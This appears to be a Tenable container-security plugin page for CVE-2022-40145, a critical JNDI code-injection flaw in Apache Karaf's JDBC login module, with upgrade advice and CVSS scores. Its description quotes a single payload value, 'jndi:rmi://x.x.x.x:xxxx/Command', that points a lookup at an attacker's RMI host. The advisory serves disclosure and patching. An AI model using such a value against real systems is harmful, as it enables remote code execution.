SCA: security update for org.apache.karaf:apache-karaf (GHSA-c2p4-8mvv-rwmv)

critical Tenable Self-Hosted Container Security Plugin ID 413591

Description

There are packages installed that are affected by a vulnerability referenced in the following CVE:

- This vulnerable is about a potential code injection when an attacker has control of the target LDAP server
using in the JDBC JNDI URL. The function
jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use
InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE,
"osgi:" + DataSource.class.getName());` to
`options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This
is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source
URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf
up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
(CVE-2022-40145)

See Also

https://github.com/advisories/GHSA-c2p4-8mvv-rwmv

Plugin Details

Severity: Critical

ID: 413591

Version: Revision 1.13

Type: Local

Family: SCA Checks

Published: 1/23/2025

Updated: 7/2/2026

Supported Sensors: Tenable Cloud Security, Tenable Self-Hosted Container Security

Risk Information

VPR

Risk Factor: Medium

Score: 4.9

Percentile: 57.88

Vendor

Vendor Severity: Critical

CVSS v2

Risk Factor: Critical

Base Score: 10

Temporal Score: 7.4

Vector: CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS Score Source: CVE-2022-40145

CVSS v3

Risk Factor: Critical

Base Score: 9.8

Temporal Score: 8.5

Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Temporal Vector: CVSS:3.0/E:U/RL:O/RC:C

Vulnerability Information

Exploit Ease: No known exploits are available

Patch Publication Date: 12/21/2022

Vulnerability Publication Date: 12/21/2022

Reference Information

CVE: CVE-2022-40145